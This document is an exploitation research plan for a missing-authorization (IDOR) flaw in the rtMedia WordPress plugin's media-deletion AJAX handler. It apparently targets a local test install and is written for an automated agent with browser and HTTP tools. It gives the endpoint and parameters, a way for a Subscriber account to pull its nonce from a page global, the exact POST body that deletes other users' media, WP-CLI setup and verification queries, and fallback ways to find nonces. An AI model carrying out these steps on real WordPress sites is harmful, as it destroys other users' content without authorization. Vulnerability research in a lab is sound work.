Exploitation Research Plan: CVE-2026-40773 (rtMedia Missing Authorization)

1. Vulnerability Summary

The rtMedia plugin for WordPress is vulnerable to Missing Authorization in its AJAX media deletion handler. The function rtmedia_delete_uploaded_media() in app/main/controllers/template/rtmedia-ajax-actions.php verifies a WordPress nonce but fails to check:

1. If the current user has the capability to delete media (e.g., delete_posts).
2. If the media_id provided in the request actually belongs to the current user (Insecure Direct Object Reference - IDOR).

As a result, any authenticated user (Subscriber and above) can delete any media uploaded via rtMedia (photos, videos, music) by providing their own valid nonce and the target media_id.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: delete_uploaded_media (hooked via wp_ajax_delete_uploaded_media)
• HTTP Method: POST
• Parameters:
  • action: delete_uploaded_media
  • media_id: The ID of the rtMedia entry to delete.
  • nonce: A nonce valid for the action string 'rtmedia_' . get_current_user_id().
• Authentication: Required (Subscriber level or higher).
• Preconditions: The attacker must be able to obtain a valid nonce for themselves, which the plugin provides on pages where the media gallery is loaded.

3. Code Flow

1. Entry Point: The user sends a POST request to admin-ajax.php with action=delete_uploaded_media.
2. Hook Registration: app/main/controllers/template/rtmedia-ajax-actions.php registers the handler:

   add_action( 'wp_ajax_delete_uploaded_media', 'rtmedia_delete_uploaded_media' );
   

3. Parameter Extraction: Inside rtmedia_delete_uploaded_media():
   • $nonce is taken from $_POST['nonce'].
   • $media_id is taken from $_POST['media_id'].
4. Nonce Verification:

   if ( wp_verify_nonce( $nonce, 'rtmedia_' . get_current_user_id() ) ) {
   

   This verifies that the nonce was generated for the current user. It does not verify that the user has permission to delete the specific $media_id.
5. Vulnerable Sink:

   $rtmedia_media = new RTMediaMedia();
   $rtmedia_media->delete( $media_id );
   

   The delete() method is called directly with the user-supplied media_id, leading to unauthorized deletion of media belonging to other users.

4. Nonce Acquisition Strategy

The nonce is generated per-user using the action string 'rtmedia_' . get_current_user_id(). This nonce is localized and passed to the frontend for the plugin's legitimate delete functionality.

1. Identify Trigger: rtMedia enqueues its scripts on pages containing the [rtmedia_gallery] shortcode or on BuddyPress profile media tabs.
2. Shortcode Creation: Create a public page with the gallery shortcode to ensure the scripts load for the Subscriber.
   • wp post create --post_type=page --post_status=publish --post_title="Media" --post_content="[rtmedia_gallery]"
3. Extraction: Navigate to this page as the Subscriber and use browser_eval to extract the nonce from the rtmedia_ajax_params global object.
   • JS Variable: window.rtmedia_ajax_params
   • Nonce Key: nonce
   • Command: browser_eval("window.rtmedia_ajax_params ? window.rtmedia_ajax_params.nonce : 'not_found'")

5. Exploitation Strategy

Step 1: Target Identification

As an Admin, upload a media file and identify its rtMedia ID. rtMedia uses its own database table (wp_rt_rtm_media).

# Get the ID of the latest uploaded rtMedia entry
wp db query "SELECT id FROM wp_rt_rtm_media ORDER BY id DESC LIMIT 1;"

Step 2: Nonce Retrieval

Log in as the Subscriber, navigate to the media page, and extract the nonce using the strategy in Section 4.

Step 3: Unauthorized Deletion Request

Use the http_request tool to send the malicious payload.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=delete_uploaded_media&nonce=[SUBSCRIBER_NONCE]&media_id=[TARGET_MEDIA_ID]
  

Step 4: Verification

Confirm the deletion using WP-CLI.

6. Test Data Setup

1. Users:
   • Admin: admin / password
   • Subscriber: attacker / password
2. Content:
   • Create a page for nonce extraction: [rtmedia_gallery].
   • The Admin must upload at least one image via the rtMedia interface (e.g., via the BuddyPress profile or a gallery page) so there is a media_id to target.
   • Note: Ensure BuddyPress is active or the rtMedia "Allow upload from WordPress author page" setting is enabled to facilitate the upload.

7. Expected Results

• AJAX Response:

  {
      "success": true,
      "data": {
          "code": "rtmedia-media-deleted",
          ...
      }
  }
  

• Database State: The record with id = [TARGET_MEDIA_ID] should be removed from the wp_rt_rtm_media table.
• Filesystem State: The associated attachment file in wp-content/uploads/ (if it was the primary media) should be deleted or detached.

8. Verification Steps

1. Check Table:

   wp db query "SELECT count(*) FROM wp_rt_rtm_media WHERE id = [TARGET_MEDIA_ID];"
   

   The count should be 0.
2. Check Attachment:
   Check if the WordPress attachment associated with that media ID (if any) still exists.

9. Alternative Approaches

If rtmedia_ajax_params is not found, check for:

• rtMedia_plupload_config.multipart_params.nonce
• Searching the entire page source for the string rtmedia_ followed by the current user ID to see how the nonce is assigned to HTML attributes (e.g., data-nonce on a delete button).
• If the rtmedia_ user ID nonce is not present, check if the plugin accidentally falls back to a default nonce for action -1 in certain configurations.